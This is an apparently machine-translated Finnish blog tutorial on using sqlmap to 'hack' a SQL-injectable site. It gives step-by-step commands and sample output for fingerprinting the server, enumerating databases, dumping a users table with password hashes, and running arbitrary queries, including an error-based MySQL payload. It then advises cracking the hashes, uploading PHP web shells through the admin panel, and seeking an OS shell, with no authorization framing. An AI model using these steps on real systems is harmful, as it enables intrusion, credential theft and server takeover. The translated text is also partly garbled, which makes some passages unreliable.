sqlmap tutorial for beginners-hacking with SQL injection

sqlmap

sqlmap on yksi suosituimmista ja tehokkaimmista SQL injection automation tool siellä. Koska haavoittuva http-pyynnön url, sqlmap voi hyödyntää etätietokannan ja tehdä paljon hakkerointi kuten talteen tietokannan nimet, taulukot, sarakkeet, kaikki tiedot taulukoissa jne.

se voi jopa lukea ja kirjoittaa tiedostoja etätiedostojärjestelmässä tietyin edellytyksin. Kirjoitettu python se on yksi tehokkaimmista hakkerointityökaluja siellä. Sqlmap on SQL-injektioiden metasploit.

sqlmap sisältyy kynätestaukseen linux-distroja kuten kali linux, backtrack, backbox jne. Muille distroille sen voi ladata seuraavasta osoitteesta

http://sqlmap.org/.

koska se on kirjoitettu Pythonilla, sinun on ensin asennettava python järjestelmääsi. Ubuntussa asenna python synapticista. Windows asenna activestate python. Tutustu tähän viestiin saadaksesi lisätietoja sqlmapin asentamisesta ja suorittamisesta Windowsissa.

sqlmap-komennolla käytettävien vaihtoehtojen ja parametrien luettelon voi tarkistaa sqlmap-dokumentaatiosta osoitteesta
https://github.com/sqlmapproject/sqlmap/wiki/Usage

tässä opetusohjelmassa opetellaan sqlmapin käyttöä haavoittuvan verkkosovelluksen hyödyntämiseen ja katsotaan, mitä kaikkea tällaisella työkalulla voi tehdä.

ymmärtääksesi tämän opetusohjelman sinun tulisi tuntea perusteellisesti, miten tietokantapohjaiset verkkosovellukset toimivat. Esimerkiksi PHP+mysql: llä tehdyt.

haavoittuvat URL-osoitteet

sanotaan, että on web-sovellus tai verkkosivusto, jonka url-osoite on siinä näin

http://www.site.com/section.php?id=51

ja se on altis sql-injektiolle, koska kyseisen sivuston kehittäjä ei oikein välttynyt parametrin id: ltä. Tämä voidaan yksinkertaisesti testata yrittämällä avata url

http://www.site.com/section.php?id=51'

lisäsimme parametriin vain yhden lainauksen. Jos tämä url heittää virheen tai reagoi odottamattomalla tavalla, on selvää, että tietokanta on saanut odottamattoman yhden lainauksen, jota sovellus ei päässyt pakoon kunnolla. Joten tässä tapauksessa tämä tuloparametri ” id ” on altis sql-injektiolle.

hakkerointi sqlmap

nyt on aika siirtyä sqlmap hakata tällaisia URL. Sqlmap-komento suoritetaan päätteestä python-tulkin avulla.

1. Skannaus Etäjärjestelmä

ensimmäinen komento on skannaa Etäjärjestelmä nähdäksesi, onko se altis sql-injektiolle ja kerää sitten tietoja siitä.

$ python sqlmap.py -u "http://www.site.com/section.php?id=51"

edellä mainittu on ensimmäinen ja yksinkertaisin sqlmap-työkalulla suoritettava komento. Se tarkistaa syöttöparametrit löytää, jos ne ovat alttiita sql injektio vai ei. Tämän sqlmap lähettää erilaisia SQL injektio hyötykuormia input parametri ja tarkistaa lähdön.

prosessissa sqlmap pystyy myös tunnistamaan etäjärjestelmän käyttöjärjestelmän, tietokannan nimen ja version. Näin tuloste saattaa näyttää

 starting at 12:10:33 resuming back-end DBMS 'mysql' testing connection to the target urlsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: id Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)--- the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5

joten Sqlmap-työkalu on löytänyt käyttöjärjestelmän, web-palvelimen ja tietokannan versiotietojen ohella. Tämäkin on aika vaikuttavaa. Mutta sen aika siirtyä eteenpäin ja nähdä, mitä enemmän tämä työkalu pystyy.

2. Discover tietokannat

kun sqlmap vahvistaa, että etäosoite on altis SQL-injektiolle ja on hyödynnettävissä, seuraava askel on selvittää etäjärjestelmässä olevien tietokantojen nimet. Valitsinta ”–dbs ” käytetään tietokantaluettelon saamiseen.

$ python sqlmap.py -u "http://www.sitemap.com/section.php?id=51" --dbs

tuloste voisi olla jotain tällaista

 starting at 12:12:56 resuming back-end DBMS 'mysql' testing connection to the target urlsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: id Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)--- the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5 fetching database names the SQL query used returns 2 entries resumed: information_schema resumed: safecosmeticsavailable databases : information_schema safecosmetics

ulostulo näyttää olemassa olevat tietokannat etäjärjestelmässä.

3. Etsi taulukoita tietystä tietokannasta

nyt on aika selvittää, mitä taulukoita on tietyssä tietokannassa. Sanotaan, että tässä kiinnostava tietokanta on ”safecosmetics”

komento

$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --tables -D safecosmetics

ja ulostulo voi olla jotain samaa kuin tämä

 the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5 fetching tables for database: 'safecosmetics' heuristics detected web page charset 'ascii' the SQL query used returns 216 entries retrieved: acl_acl retrieved: acl_acl_sections........... more tables

eikö tämä ole hämmästyttävää ? tietenkin. Lets saada sarakkeet tietyn taulukon nyt.

4. Hanki taulukon sarakkeet

nyt kun meillä on taulukkoluettelo mukanamme, olisi hyvä idea saada jonkin tärkeän taulukon sarakkeet. Sanotaan, että taulukko on ’Käyttäjät’ ja se sisältää käyttäjätunnuksen ja salasanan.

$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --columns -D safecosmetics -T users

tuloste voi olla jotain tällaista

 the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5 fetching columns for table 'users' in database 'safecosmetics' heuristics detected web page charset 'ascii' the SQL query used returns 8 entries retrieved: id retrieved: int(11) retrieved: name retrieved: text retrieved: password retrieved: text....... retrieved: hash retrieved: varchar(128)Database: safecosmeticsTable: users+-------------------+--------------+| Column | Type |+-------------------+--------------+| email | text || hash | varchar(128) || id | int(11) || name | text || password | text || permission | tinyint(4) || system_allow_only | text || system_home | text |+-------------------+--------------+

joten nyt sarakkeet ovat selvästi näkyvissä. Hyvää työtä!

5. Hae tiedot taulukosta

nyt tulee mielenkiintoisin osa, datan irrottaminen taulukosta. Komento olisi

$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --dump -D safecosmetics -T users

yllä oleva komento yksinkertaisesti dumppaa tietyn taulukon tiedot, hyvin paljon mysqldump-komennon tapaan.
ulostulo saattaa näyttää samanlaiselta kuin tämä

+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+| id | hash | name | email | password | permission | system_home | system_allow_only |+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+| 1 | 5DIpzzDHFOwnCvPonu | admin | <blank> | <blank> | 3 | <blank> | <blank> |+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+

hash-sarakkeessa näyttää olevan salasana hash. Kokeile halkeilua hash ja sitten saat kirjautumistiedot heti. sqlmap luo csv-tiedoston, joka sisältää dump-tiedot helppoa analysointia varten.

tähän mennessä olemme pystyneet keräämään paljon tietoa etätietokannasta sqlmapin avulla. Sen melkein kuin ottaa suora pääsy etätietokantaan asiakkaan, kuten phpmyadmin. Todellisissa skenaarioissa hakkerit yrittäisivät saada korkeamman tason päästäkseen järjestelmään. Tätä varten, he yrittävät murtaa salasanan hashes ja yrittää kirjautua läpi admin paneeli. Tai he yrittäisivät saada os-komentotulkin sqlmapin avulla.

kirjoitin toisen postauksen sqlmapin avulla saadakseni lisätietoja etätietokannoista. Se selittää muita vaihtoehtoja sqlmap, jotka ovat hyödyllisiä löytää ulos tietokannan käyttäjille, niiden oikeudet ja niiden salasana hashes.

mitä seuraavaksi ?

kun pystyy skannaamaan ja keräämään tietoja haavoittuvasta järjestelmästä, on sen aika hyödyntää sitä ja katsoa, onko mahdollista päästä järjestelmään. Sqlmap voi tehdä melko muutamia asioita, kuten suorittaa sql kyselyt etäjärjestelmässä, käynnistämällä kauko shell järjestelmään jne.

1. Suorita mielivaltaisia sql-kyselyjä

Tämä on luultavasti helpoin asia tehdä palvelimella, joka on altis sql-injektiolle. Parametria –sql-query voidaan käyttää suoritettavan SQL-kyselyn määrittämiseen. Kiinnostavaa olisi luoda käyttäjä käyttäjien taulukkoon tai jotain vastaavaa. Tai voidaan muuttaa / muuttaa cms-sivujen sisältöä jne.

toinen paramter –sql-komentotulkki antaisi sql-komentotulkin kaltaisen käyttöliittymän suorittaa kyselyjä vuorovaikutteisesti.

2. Mene sisään admin paneeli ja pelata

Jos sivusto on käynnissä jonkinlainen custom cms tai jotain vastaavaa, joka on admin paneeli, niin se voi olla mahdollista päästä sisälle edellyttäen, että voit murtaa salasanan haettu tietokanta dump. Yksinkertainen ja lyhyt pituus salasanat voidaan murtaa yksinkertaisesti brute pakottaa tai google.com.

Tarkista, salliiko admin-paneeli joidenkin tiedostojen lataamisen. Jos mielivaltainen php-tiedosto voidaan ladata niin se on paljon hauskempaa. Php-tiedosto voi sisältää shell_exec -, system -, exec – tai passthru-funktiokutsuja ja joiden avulla voidaan suorittaa arbitary-järjestelmän komentoja. Php web shell skriptejä voidaan ladata tehdä sama asia.

3. Komentotulkki kauko-käyttöjärjestelmässä

Tämä on se asia, joka pitää tehdä palvelimen valtaamiseksi kokonaan. Huomaa kuitenkin, että se ei ole niin helppoa ja vähäpätöistä kuin yllä esitetyt temput. sqlmap mukana parametri call-os-shell, jota voidaan käyttää yrittää saada komentotulkin etäjärjestelmään, mutta sillä on monia rajoituksia omaa.

sqlmap-käsikirjan mukaan

It is possible to run arbitrary commands on the database server's underlying operating system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses.

tärkein nykyisen tietokannan käyttäjän tarvitsema etuoikeus on kirjoittaa tiedostoja tietokantafunktioiden kautta. Tämä puuttuu useimmissa tapauksissa. Siksi tämä tekniikka ei toimi useimmissa tapauksissa.

Huomautus

1. Joskus sqlmap ei pysty yhdistämään url-osoitteeseen lainkaan. Tämä näkyy, kun se juuttuu ensimmäiseen tehtävään ”testaus yhteys kohde url”. Tällaisissa tapauksissa sen hyödyllistä käyttää” — random-agent ” vaihtoehto. Tämä tekee sqlmap käyttää kelvollista käyttäjäagentin allekirjoitus kuin ne lähetetään selaimen kuten chrome tai firefox.

2. URL-osoitteet, jotka eivät ole muotoa param=value sqlmap, eivät voi automaattisesti tietää, mihin pistän. Esimerkiksi MVC-URL-osoitteet, kuten http://www.site.com/class_name/method/43/80.

tällaisissa tapauksissa sqlmapille on kerrottava pistoskohta, joka on merkitty *

http://www.site.com/class_name/method/43*/80

edellä oleva kertoo sqlmapin pistävän pisteeseen, joka on merkitty *

3. Kun käytetään lomakkeita, jotka lähettävät tietoja post-menetelmällä, niin sqlmap on annettava post data” — data ” – vaihtoehdoissa. Lisätietoja tutustu opetusohjelma käyttäen sqlmap lomakkeilla.

Vastaa

Sähköpostiosoitettasi ei julkaista.